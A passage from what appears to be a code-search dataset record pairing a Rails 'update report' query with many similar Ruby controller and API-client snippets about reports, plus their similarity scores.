end", "def reports\n @node = resource\n @reports = params[:kind] == \"inspect\" ? @node.reports.inspections : @node.reports.applies\n respond_to do |format|\n format.html { @reports = paginate_scope(@reports); render 'reports/index' }\n end\n end", "def create\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n \n @report.test_suite.test_cases.each do |test_case|\n @report.results.create({ status: 'Queued', report_id: @report, test_case_id: test_case.id})\n end\n \n format.html { redirect_to [:admin, @report], notice: 'Report was successfully created.' }\n format.json { render action: 'show', status: :created, location: @report }\n else\n format.html { render action: 'new' }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to admin_reports_path, notice: t('shared.msgs.success_created',\n obj: t('activerecord.models.report', count: 1)) }\n format.json { render :show, status: :created, location: @report }\n else\n set_date\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @reports = Report.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end", "def create\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = Report.new(params[:report])\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render json: @report, status: :created, location: @report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = Report.new(params[:report])\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render json: @report, status: :created, location: @report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'El Reporte fue creado Exitosamente.' }\n format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def reports\n collection(\"reports\")\n end", "def reports\r\n ReportsController.instance\r\n end", "def create\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to police_index_path, notice: 'Report was successfully created.' }\n format.json { render :index, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_report = Admin::Report.new(admin_report_params)\n\n respond_to do |format|\n if @admin_report.save\n format.html { redirect_to @admin_report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @admin_report }\n else\n format.html { render :new }\n format.json { render json: @admin_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def report\r\n if Post.exists?(params[:id])\r\n if params[:reports]\r\n @new_report = Report.create_new(params, @usr)\r\n if @new_report.errors.empty?\r\n unless Configs.get_config('mailing_list').blank?\r\n Configs.get_config('mailing_list').split(',').each do |email|\r\n ReportMailer.deliver_email(@new_report.user.name, email.strip, @new_report, request.env['HTTP_HOST'])\r\n end\r\n end\r\n redirecting t(:redir), session[:last_page]\r\n return\r\n end\r\n end\r\n else\r\n redirect_to_info_page\r\n end\r\n end", "def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end", "def reports_list\r\n post= { \"token\" => @token }\r\n file=nessus_http_request('report/list', post)\r\n return file \r\n end", "def create\n raise \"Disabled\"\n @report = Report.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@report = Report.create(params[:report])\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @report.save\n\t\t\t\tformat.html { redirect_to @report, notice: 'Report was successfully created.' }\n\t\t\t\tformat.json { render json: @report, status: :created, location: @report }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @report.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @user_report = UserReport.new(params[:user_report])\n\n respond_to do |format|\n if @user_report.save\n flash[:notice] = 'UserReport was successfully created.'\n format.html { redirect_to(@user_report) }\n format.xml { render :xml => @user_report, :status => :created, :location => @user_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @report = current_user.reports.new(params[:report])\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render json: @report, status: :created, location: @report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.find(params[:event_id])\n @report = @event.reports.new(params[:report])\n @report.attributes = params[:report]\n @report.member_id = current_member.id\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to(event_path(@event)) }\n format.json { render json: @report, status: :created, location: @report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def report\n # generate_report()\n ReportWorker.perform_async(\"07-01-2018\", \"08-01-2018\")\n render \\\n json: {status: 'SUCCESS', message:'REQUEST TO GENERATE A REPORT ADDED TO THE QUEUE'},\n status: :ok\n end", "def create\n @stores_report = Stores::Report.new(params[:stores_report])\n\n respond_to do |format|\n if @stores_report.save\n format.html { redirect_to @stores_report, notice: 'Report was successfully created.' }\n format.json { render json: @stores_report, status: :created, location: @stores_report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stores_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = current_user.reports.new(report_params)\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render json: { message: 'Report was successfully created.'}, status: :created }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @report = @user.reports.build\n @report.attributes = params[:report]\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render json: @report, status: :created, location: @report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@report = Report.new(report_params)\n\t\t@report.user=current_user\n\t\trespond_to do |format|\n\t\t\tif @report.save\n\t\t\t\tformat.html { redirect_to reports_url, notice: 'Report was successfully created.' }\n\t\t\t\t# format.json { render :show, status: :created, location: @report }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @report.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @user_report = UserReport.new(params[:user_report])\n @user_report.env = request.env\n respond_to do |format|\n if @user_report.save\n flash[:ok] = 'Got it, thanks for taking the time!'\n format.html { redirect_to_default }\n format.xml { render :xml => @user_report, :status => :created, :location => @user_reports }\n format.js { render :nothing => true}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def report(object)\n full_name = extract_full_name object\n post 'api/report', :id => full_name\n end", "def http_report(request, _response)\n path = request.path\n\n root_element_name = Box.new('')\n result = @server.xml.parse(request.body, request.url, root_element_name)\n root_element_name = root_element_name.value\n\n if @server.emit('report', [root_element_name, result, path])\n # If emit returned true, it means the report was not supported\n fail Exception::ReportNotSupported\n end\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end", "def create\n @action_report = ActionReport.new(action_report_params)\n\n respond_to do |format|\n if @action_report.save\n format.html { redirect_to @action_report, notice: 'Action report was successfully created.' }\n format.json { render :show, status: :created, location: @action_report }\n else\n format.html { render :new }\n format.json { render json: @action_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @software_report = SoftwareReport.new(params[:software_report])\n\n respond_to do |format|\n if @software_report.save\n flash[:notice] = 'SoftwareReport was successfully created.'\n format.html { redirect_to(@software_report) }\n format.xml { render :xml => @software_report, :status => :created, :location => @software_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @software_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n if current_user.company.reports.any?\n if [\"Queued\", \"Running\"].include? current_user.company.reports.last.status\n redirect_to dashboard_path, notice: \"Looks like you already have a report queued. We'll get to it asap, promise!\"\n return\n end\n end\n \n @report = Report.new(report_params) \n\n respond_to do |format|\n if @report.save\n \n @report.test_suite.test_cases.order('id ASC').each do |test_case|\n @report.results.create({ status: 'Queued', report_id: @report, test_case_id: test_case.id})\n end\n \n ReportMailer.admin_requested_report_triggered_email(@report).deliver\n #ReportMailer.requested_report_triggered_email(@report).deliver\n \n format.html { redirect_to dashboard_path }\n format.json { render action: 'show', status: :created, location: @report }\n else\n format.html { render action: 'new' }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_report\n Report.transaction do\n report = Report.create(name: @name,\n start_date: @start_date,\n end_date: @end_date,\n type: @type,\n creator: User.current.id,\n renderer_type: 'PDF')\n\n values = save_report_values(report)\n\n { report: report, values: values }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def create\n @custom_report = CustomReport.new(params[:custom_report])\n\n if @custom_report.save\n render json: @custom_report, status: :created, location: @custom_report\n else\n render json: @custom_report.errors, status: :unprocessable_entity\n end\n end", "def create\n @journal_doc_report = JournalDocReport.new(journal_doc_report_params)\n\n respond_to do |format|\n if @journal_doc_report.save\n format.html { redirect_to @journal_doc_report, notice: 'Journal doc report was successfully created.' }\n format.json { render :show, status: :created, location: @journal_doc_report }\n else\n format.html { render :new }\n format.json { render json: @journal_doc_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def report(id)\n get(\"reports/#{id}\")\n end", "def file_report(resources)\n resources = format(resources)\n merged_options = options.merge({ resource: resources })\n response = RestClient.post endpoint(\"/file/report\"), merged_options\n parse_response(response)\n end", "def create\n @client_report = Client::Report.new(client_report_params)\n\n respond_to do |format|\n if @client_report.save\n format.html { redirect_to @client_report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @client_report }\n else\n format.html { render :new }\n format.json { render json: @client_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n report = Report.new(params[:report])\n\n if report.save\n flash[:notice] = 'Report was successfully created.'\n redirect_to(report)\n else\n render :action => \"new\"\n end\n end", "def create\n # if report is valid, save it and set flag (no need to run it b/c it will be redirected)\n @report.just_created = true if @report.errors.empty?\n \n # return data in json format\n render(:json => {:report => @report}.to_json)\n end", "def test_downloadXmlReport\n report_srv = @adwords.get_service(13, 'Report')\n\n # First we schedule a report\n job = AdWords::V13::ReportService::DefinedReportJob.new\n job.selectedReportType = 'Structure'\n job.aggregationTypes = 'Keyword'\n job.name = 'Report-%s' % DateTime.now.to_s\n job.selectedColumns = %w{Campaign AdGroup Keyword KeywordTypeDisplay}\n job.startDay = '2009-01-01'\n job.endDay = '2009-01-31'\n job_id = report_srv.scheduleReportJob(job).scheduleReportJobReturn\n\n # Now we use the downloadXmlReport method to download it\n report_data = report_srv.downloadXmlReport(job_id)\n\n # See if we got anything back\n assert((!report_data.nil? and !report_data.strip.empty?),\n 'Empty report returned; unable to verify correctness')\n\n # Check if we received valid XML as a reply\n doc = REXML::Document.new(report_data)\n\n # See if what we got back was XML, as we expected\n assert_not_nil(doc, 'Invalid XML returned; unable to verify correctness')\n end", "def create\n @office_report = Office::Report.new(office_report_params)\n\n respond_to do |format|\n if @office_report.save\n format.html { redirect_to @office_report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @office_report }\n else\n format.html { render :new }\n format.json { render json: @office_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @neuotransmitter_report = NeuotransmitterReport.new(params[:neuotransmitter_report])\n\n respond_to do |format|\n if @neuotransmitter_report.save\n format.html { redirect_to @neuotransmitter_report, notice: 'Neuotransmitter report was successfully created.' }\n format.json { render json: @neuotransmitter_report, status: :created, location: @neuotransmitter_report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @neuotransmitter_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @dynamic_report = DynamicReport.new(dynamic_report_params)\n\n respond_to do |format|\n if @dynamic_report.save\n format.html { redirect_to @dynamic_report, notice: 'Dynamic report was successfully created.' }\n format.json { render :show, status: :created, location: @dynamic_report }\n else\n format.html { render :new }\n format.json { render json: @dynamic_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def report_test\n report_data = params.require(:api).permit(:code,:stdout,:project,:suite,:section)\n report = api_user.test_reports.create(report_data)\n if report.valid?\n render text: \"ok\"\n else\n raise \"Invalid report\"\n end\n end", "def create\n @hotel = Hotel.find_by(params[:hotel_id])\n @report = @hotel.reports.new(report_params)\n\n respond_to do |format|\n if @report.save\n flash[:success] = \"Report created successfuly.\"\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @report }\n else\n flash[:alert] = \"Errors where found.\"\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n records = if file_upload?\n case file_upload_params['records']['file'].content_type\n when 'text/xml' then FileParser::XMLRecordParser.call( file_upload_params['records']['file'].path )\n when 'text/csv' then FileParser::CSVRecordParser.call( file_upload_params['records']['file'].path )\n when 'application/json' then FileParser::JSONRecordParser.call( file_upload_params['records']['file'].path )\n end\n else # non file upload\n form_submission_params['records'].is_a?(Array) ? form_submission_params['records'] : [ form_submission_params['records'] ]\n end\n\n begin\n @report = ReportCreator.new(records).results\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @report, status: :ok }\n end\n rescue => exception\n respond_to do |format|\n redirect_to :new, error: \"Invalid Information\", status: :unprocessable_entity\n\n format.json { render status: :unprocessable_entity }\n end\n end\n end", "def new\n @user_reports = UserReport.new(params[:user_report])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_reports }\n end\n end", "def create\n @accounting_report = AccountingReport.new(accounting_report_params)\n\n respond_to do |format|\n if @accounting_report.save\n format.html { redirect_to @accounting_report, notice: 'Accounting report was successfully created.' }\n format.json { render :show, status: :created, location: @accounting_report }\n else\n format.html { render :new }\n format.json { render json: @accounting_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def report\n \n end", "def create\n @tps_report = TpsReport.new(params[:tps_report])\n\n respond_to do |format|\n if @tps_report.save\n format.html { redirect_to(@tps_report, :notice => 'Tps report was successfully created.') }\n format.xml { render :xml => @tps_report, :status => :created, :location => @tps_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tps_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save_report\n report = Report.create(name: @name, start_date: @start_date,\n end_date: @end_date, type: @type,\n creator: User.current.id,\n renderer_type: 'PDF')\n\n values = save_report_values(report)\n\n { report: report, values: values }\n end", "def create\n @group_report = GroupReport.new(params[:group_report])\n\n respond_to do |format|\n if @group_report.save\n flash[:notice] = 'GroupReport was successfully created.'\n format.html { redirect_to(@group_report) }\n format.xml { render :xml => @group_report, :status => :created, :location => @group_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n if current_user.admin?\n @report = Report.new(report_params)\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_back :fallback_location => root_path, :alert => \"Access denied.\"\n end\n end", "def new\n @dailyreport = Dailyreport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dailyreport }\n end\n end", "def new\n @report = Mg::Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def reports\n get(:reports)['Reports'].map do |details|\n Report.new(details['Url'], party: self, details: details)\n end\n end", "def create\n @report2 = Report2.new(params[:report2])\n\n respond_to do |format|\n if @report2.save\n format.html { redirect_to(@report2, :notice => 'Report2 was successfully created.') }\n format.xml { render :xml => @report2, :status => :created, :location => @report2 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report2.errors, :status => :unprocessable_entity }\n end\n end\n end", "def send_reports(type, reports)\n dir = File.join(\"/tmp\", type, \"#{@start_date.strftime(\"%Y-%m\")}_to_#{@end_date.strftime(\"%Y-%m\")}\")\n FileUtils.mkdir_p dir\n reports.each do |name, report|\n file = File.join(dir, name)\n File.write(file, CounterReporterService.csv(report))\n Rails.logger.info(\"[ROYALTY REPORTS] wrote #{file}\")\n end\n rescue StandardError => e\n \"[ROYALTY REPORTS] Error: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n end", "def create\n @summary_report = SummaryReport.new(params[:summary_report])\n\n respond_to do |format|\n if @summary_report.save\n flash[:notice] = 'SummaryReport was successfully created.'\n format.html { redirect_to(@summary_report) }\n format.xml { render :xml => @summary_report, :status => :created, :location => @summary_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @summary_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @all_report = AllReport.new(all_report_params)\n\n respond_to do |format|\n if @all_report.save\n format.html { redirect_to @all_report, notice: 'All report was successfully created.' }\n format.json { render :show, status: :created, location: @all_report }\n else\n format.html { render :new }\n format.json { render json: @all_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n# @report = Report.new(report_params)\n @report = current_user.reports.build(report_params)\n respond_to do |format|\n if @report.save\n format.html { redirect_to reports_path, notice: 'Report was successfully created.' }\n format.json { render :index, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def report\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_tasks(task_id: id)\n end\n result = Nokogiri::XML(@agent.sendrecv(content.to_xml))\n report_id = result.at_css('report')[:id]\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_reports(report_id: report_id)\n end\n Hash.from_xml(@agent.sendrecv(content.to_xml)).deep_symbolize_keys\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def index\n @reports = Report.all\n end", "def create\n @event_report = EventReport.new(event_report_params)\n\n respond_to do |format|\n if @event_report.save\n format.html { redirect_to @event_report, notice: 'Event report was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event_report }\n else\n format.html { render action: 'new' }\n format.json { render json: @event_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @report_type.save\n format.html { redirect_to(@report_type, :notice => 'Report type was successfully created.') }\n format.xml { render :xml => @report_type, :status => :created, :location => @report_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @daily_report = DailyReport.new(daily_report_params)\n\n respond_to do |format|\n if @daily_report.save\n format.html { redirect_to @daily_report, notice: 'Daily report was successfully created.' }\n format.json { render :show, status: :created, location: @daily_report }\n else\n format.html { render :new }\n format.json { render json: @daily_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n authorize :report, :create?\n @report = Report.new(report_params)\n @report.user_id = current_user.id\n @report.resquest_criminal = @resquest_criminal\n @report.resquest_criminal.status = 1\n @report.resquest_criminal.save\n respond_to do |format|\n if @report.save\n format.html { redirect_to [@resquest_criminal,@report], notice: 'Report was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @report = Report.new(report_params)\n @report.user=current_user\n \n respond_to do |format|\n if @report.save\n format.html { redirect_to reports_url, notice: 'Report was successfully created.' }\n # format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @inpatientdailyreport = Inpatientdailyreport.new(params[:inpatientdailyreport])\n\n respond_to do |format|\n if @inpatientdailyreport.save\n format.html { redirect_to(@inpatientdailyreport, :notice => 'Inpatientdailyreport was successfully created.') }\n format.xml { render :xml => @inpatientdailyreport, :status => :created, :location => @inpatientdailyreport }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @inpatientdailyreport.errors, :status => :unprocessable_entity }\n end\n end\n end", "def submit_report(json, cookbookname)\n data = File.read(json)\n uri = URI.parse($SPEC_ENDPOINT)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = uri.scheme == \"https\"\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(\"/api/reports\")\n request.add_field('Content-Type', 'application/json')\n request.body = {\n :spec_result => data,\n :hostname => `hostname`.chomp,\n :cookbook_name => cookbookname\n }.to_json\n response = http.request(request)\n end", "def reporting_data\r\n\r\n report_sid = params[:report].blank? ? \"\" : params[:report]\r\n render(:nothing => true) and return if report_sid.blank?\r\n opts = (params[:report_options] || {}).reject{|k,v| v.blank?}\r\n opts[:format] ||= params[:format]\r\n r = DevFeedbackReport.make_report(report_sid, opts)\r\n r[:title][:style] = r[:title][:style].tr(',', ';').gsub('colour', 'color') if r && r[:title] && r[:title][:style]\r\n @report = r\r\n respond_to do |format|\r\n format.json { render :json => @report }\r\n format.html { render :text => @report }\r\n end\r\n end", "def create\n @report_subscription = ReportSubscription.new(report_subscription_params)\n\n respond_to do |format|\n if @report_subscription.save\n format.html { redirect_to @report_subscription, notice: 'Report subscription was successfully created.' }\n format.json { render :show, status: :created, location: @report_subscription }\n else\n format.html { render :new }\n format.json { render json: @report_subscription.errors, status: :unprocessable_entity }\n end\n end\n end", "def report_list_hash\r\n post = { \"token\" => @token }\r\n docxml = nessus_request('report/list', post)\r\n reports = Array.new\r\n docxml.root.elements['contents'].elements['reports'].each_element('//report') do |report|\r\n entry = Hash.new\r\n entry[:id] = report.elements['name'].text\r\n entry[:name] = report.elements['readableName'].text\r\n entry[:status] = report.elements['status'].text;\r\n entry[:timestamp] = report.elements['timestamp'].text;\r\n reports.push(entry) \r\n\t\tend\r\n return reports\r\n end", "def create\n add_parent_categories (params[:report][:category_ids])\n @report = Report.create(report_params)\n respond_to do |format|\n if @report.save\n format.html { redirect_to @report, notice: 'Report was successfully created.' }\n format.json { render :show, status: :created, location: @report }\n else\n format.html { render :new }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n\t\tuser_email = params[:user_email].presence\n\t\tuser = user_email && User.find_by_email(user_email)\n\n\t\treport = Report.new(report_params)\n\t\treport.user_id = user.id\n\n\t\tif report.save\n\t\t\trender :json => {:success => true, :report_id => report.id }\n\t\telse\n\t\t\trender :json => '{\"success\" : \"false\", \"error\" : \"problem saving report\"}'\n\t\tend\n\tend", "def create\n @comparative_report = ComparativeReport.new(params[:comparative_report])\n\n respond_to do |format|\n if @comparative_report.save\n flash[:notice] = 'ComparativeReport was successfully created.'\n format.html { redirect_to(@comparative_report) }\n format.xml { render :xml => @comparative_report, :status => :created, :location => @comparative_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @comparative_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def report\n\t\tend", "def create\n @quarterly_report = QuarterlyReport.new(params[:quarterly_report])\n\n respond_to do |format|\n if @quarterly_report.save\n format.html { redirect_to(@quarterly_report, :notice => 'Quarterly report was successfully created.') }\n format.xml { render :xml => @quarterly_report, :status => :created, :location => @quarterly_report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quarterly_report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @reports = Report.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end", "def create\n @fin_report = FinReport.new(params[:fin_report])\n\n respond_to do |format|\n if @fin_report.save\n format.html { redirect_to @fin_report, notice: 'Fin report was successfully created.' }\n format.json { render json: @fin_report, status: :created, location: @fin_report }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fin_report.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6767336", "0.67065424", "0.66361433", "0.651093", "0.6493436", "0.6473774", "0.6435383", "0.64126194", "0.63887656", "0.6368415", "0.6368415", "0.6368415", "0.6327613", "0.6327613", "0.63159525", "0.63043004", "0.6265468", "0.6259001", "0.62507087", "0.6229303", "0.62266785", "0.62266785", "0.62259644", "0.6207384", "0.6205719", "0.62038106", "0.6180224", "0.6175983", "0.6175474", "0.61735", "0.6163042", "0.61564124", "0.61558914", "0.6136001", "0.6127179", "0.61127174", "0.6106517", "0.60909265", "0.60850126", "0.60706735", "0.6067515", "0.6066981", "0.6052005", "0.6029565", "0.60264844", "0.6020269", "0.6019701", "0.6019634", "0.60183126", "0.60086673", "0.6004964", "0.59985155", "0.5995829", "0.59928733", "0.5990798", "0.5987866", "0.5983828", "0.59793186", "0.59772533", "0.5976958", "0.5974631", "0.59640205", "0.5963215", "0.595901", "0.59531504", "0.5952275", "0.59510267", "0.5949838", "0.5949603", "0.594743", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.59450936", "0.5938765", "0.593792", "0.5924188", "0.5921731", "0.58994526", "0.5891064", "0.58906025", "0.58861196", "0.5884079", "0.5878051", "0.5874789", "0.58730423", "0.58717537", "0.58712447", "0.58444583", "0.5843058", "0.58354616" ]
0.667678
2
PUT /reports/1 PUT /reports/1.xml
def update @report = Report.find(params[:id]) respond_to do |format| if @report.update_attributes(params[:report]) format.html { redirect_to(@report, :notice => 'Report was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @report.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def update\n @report = Mg::Report.find(params[:id])\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to(@report, :notice => 'Mg::Report was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n # debugger\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n flash[:notice] = 'Report was successfully updated.'\n format.html { redirect_to(@report) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to(@report, :notice => 'Report was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n \n \n end\n end\n end", "def update\n @user_reports = UserReport.find(params[:id])\n\n respond_to do |format|\n if @user_reports.update_attributes(params[:user_report])\n flash[:notice] = 'UserReport was successfully updated.'\n format.html { redirect_to(@user_reports) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_reports.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @report = Report.find(params[:id])\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report = Report.find(params[:id])\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report = Report.find(params[:id])\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @stores_report = Stores::Report.find(params[:id])\n\n respond_to do |format|\n if @stores_report.update_attributes(params[:stores_report])\n format.html { redirect_to @stores_report, notice: 'Report was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stores_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @report = Report.find(params[:id])\n\n respond_to do |format|\n if @report.update_attributes(params[:report])\n #format.html { redirect_to @report, notice: 'Report was successfully updated.' }\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @report.errors, status: :unprocessable_entity 